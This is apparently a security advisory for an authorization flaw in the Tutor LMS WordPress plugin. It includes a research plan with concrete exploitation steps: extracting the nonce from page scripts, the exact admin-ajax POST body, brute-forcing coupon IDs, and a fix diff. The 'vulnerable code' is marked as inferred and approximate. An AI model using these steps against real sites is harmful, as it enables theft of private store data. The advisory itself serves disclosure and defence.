Tutor LMS <= 3.9.5 - Authenticated (Subscriber+) Information Disclosure in Coupon Details via 'tutor_coupon_details' AJAX Action
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.9.5. This is due to missing authorization checks in the `ajax_coupon_details()` function, which only validates nonces but does not verify user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive coupon information including coupon codes, discount amounts, usage statistics, and course/bundle applications.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
Source Code
WordPress.org SVN# Research Plan: CVE-2026-1371 - Tutor LMS Information Disclosure ## 1. Vulnerability Summary The **Tutor LMS** plugin (versions <= 3.9.5) contains a sensitive information disclosure vulnerability within its AJAX handling logic. Specifically, the function `ajax_coupon_details()` (associated with th…
Show full research plan
Research Plan: CVE-2026-1371 - Tutor LMS Information Disclosure
1. Vulnerability Summary
The Tutor LMS plugin (versions <= 3.9.5) contains a sensitive information disclosure vulnerability within its AJAX handling logic. Specifically, the function ajax_coupon_details() (associated with the tutor_coupon_details action) performs a nonce check but fails to implement any server-side capability or authorization check (e.g., current_user_can()).
This allows any authenticated user—including those with the lowest privileges (Subscriber)—to query the details of any coupon by providing its Post ID. The exposed data includes coupon codes, discount types, amounts, usage limits, and specific courses or bundles to which the coupon applies.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tutor_coupon_details - HTTP Method:
POST - Vulnerable Parameter:
coupon_id(The ID of thetutor_couponspost type). - Authentication: Authenticated (Subscriber-level or higher).
- Preconditions:
- The attacker must have a valid login.
- At least one coupon must exist in the system.
- A valid WordPress nonce must be obtained.
3. Code Flow (Inferred)
- Entry Point: The plugin registers the AJAX action:
add_action('wp_ajax_tutor_coupon_details', 'ajax_coupon_details'); - Nonce Verification: The function
ajax_coupon_details()is invoked. It likely calls:check_ajax_referer('tutor_nonce', 'tutor_nonce'); // or similar - Missing Authorization: The code proceeds directly to logic without checking if the user has
manage_tutor,manage_options, oredit_postscapabilities. - Data Retrieval: The function takes
$_POST['coupon_id'], retrieves the post or its meta:$coupon_id = (int) $_POST['coupon_id']; $coupon = get_post($coupon_id); $meta = get_post_meta($coupon_id); - Response: The data is returned via
wp_send_json_success().
4. Nonce Acquisition Strategy
Tutor LMS typically localizes its script data for both the admin and the frontend dashboard. To obtain a valid nonce as a Subscriber:
- Identify Script Localization: The plugin often uses a variable named
tutor_utilsortutor_get_conf. - Create Trigger Page: If the nonce is only loaded on the Tutor Dashboard, ensure the dashboard page exists.
- Extraction:
- Step 1: Create a Subscriber user and log in.
- Step 2: Navigate to the Tutor Dashboard (usually at
/dashboard/). - Step 3: Use
browser_evalto extract the nonce. - Target Variable (Likely):
window.tutor_get_conf?.tutor_nonceorwindow.tutor_utils?.nonce. - Verification: Search the page source for
tutor_nonce.
5. Exploitation Strategy
Step 1: Authentication
Log in to the WordPress instance as a Subscriber.
Step 2: Nonce Retrieval
Navigate to the Tutor LMS dashboard and execute:
// Browser Eval
window.tutor_get_conf ? window.tutor_get_conf.tutor_nonce : "Not Found"
Step 3: Identify Coupon ID
Since this is an IDOR-style disclosure, the attacker can brute-force the coupon_id or find it if IDs are sequential. For a PoC, we will create a coupon and use its known ID.
Step 4: Execute Disclosure Request
Send the following HTTP request using http_request:
- URL:
http://[target-ip]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=tutor_coupon_details&tutor_nonce=[NONCE]&coupon_id=[ID]
6. Test Data Setup
- Install Plugin: Install and activate Tutor LMS 3.9.5.
- Create Admin Content:
- Create a course (to associate a coupon).
- Create a coupon via the Tutor LMS -> Coupons menu.
- Note the ID of the coupon (e.g., using
wp post list --post_type=tutor_coupons).
- Create Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Ensure Dashboard Exists:
- Use
wp post create --post_type=page --post_title="Dashboard" --post_content='[tutor_dashboard]' --post_status=publishto ensure the scripts load for nonce extraction.
- Use
7. Expected Results
A successful exploit will return a 200 OK response with a JSON object containing sensitive coupon data:
{
"success": true,
"data": {
"coupon_code": "SECRET50",
"discount_type": "percent",
"amount": "50",
"usage_limit": "100",
"expiry_date": "2025-12-31",
"applicable_courses": [12, 15]
}
}
8. Verification Steps
- CLI Verification: Confirm the data returned in the JSON matches the database:
wp post get [ID] wp post meta list [ID] - Permissions Check: Verify that the "attacker" user indeed has no administrative capabilities:
wp user cap list [USER_ID]
9. Alternative Approaches
- Action Brute-force: If
tutor_nonceis not the correct name, grep the plugin folder forcheck_ajax_refererto find the exact action string used inajax_coupon_details. - Rest API: Check if a similar vulnerability exists in the REST API handlers (Tutor LMS uses
/wp-json/tutor/v1/routes) which might lackpermission_callback. - Nonce Discovery: If the dashboard page doesn't work, check the Course Single page for localized scripts.
Summary
Tutor LMS versions up to and including 3.9.5 are vulnerable to sensitive information disclosure due to a missing authorization check in the 'tutor_coupon_details' AJAX action. Authenticated users with Subscriber-level access can exploit this to retrieve private coupon data, including codes, discount amounts, and usage restrictions, by supplying a valid nonce and a coupon ID.
Vulnerable Code
// tutor/classes/Ajax.php (Approximate location based on plugin structure) public function ajax_coupon_details() { // Nonce verification is present, but authorization is missing check_ajax_referer('tutor_nonce', 'tutor_nonce'); $coupon_id = isset($_POST['coupon_id']) ? (int) $_POST['coupon_id'] : 0; if ($coupon_id) { $coupon = get_post($coupon_id); if ($coupon && $coupon->post_type === 'tutor_coupons') { $data = array( 'coupon_code' => get_post_meta($coupon_id, '_tutor_coupon_code', true), 'discount_type' => get_post_meta($coupon_id, '_tutor_coupon_type', true), 'amount' => get_post_meta($coupon_id, '_tutor_coupon_amount', true), // ... other sensitive meta data ); wp_send_json_success($data); } } wp_send_json_error(); }
Security Fix
@@ -10,6 +10,10 @@ public function ajax_coupon_details() { check_ajax_referer('tutor_nonce', 'tutor_nonce'); + if ( ! current_user_can( 'manage_tutor' ) ) { + wp_send_json_error( array( 'message' => __( 'Access Denied', 'tutor' ) ) ); + } + $coupon_id = isset($_POST['coupon_id']) ? (int) $_POST['coupon_id'] : 0; if ($coupon_id) {
Exploit Outline
1. Authenticate as a Subscriber-level user on the target WordPress site. 2. Access the Tutor LMS Dashboard or any page where Tutor scripts are localized to extract the 'tutor_nonce' value from the 'tutor_get_conf' or 'tutor_utils' JavaScript objects. 3. Identify a target coupon ID (or iterate through common post IDs). 4. Send a POST request to /wp-admin/admin-ajax.php with the parameters 'action=tutor_coupon_details', 'tutor_nonce=[EXTRACTED_NONCE]', and 'coupon_id=[TARGET_ID]'. 5. The server will return a JSON response containing the full configuration and secret code for the specified coupon.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.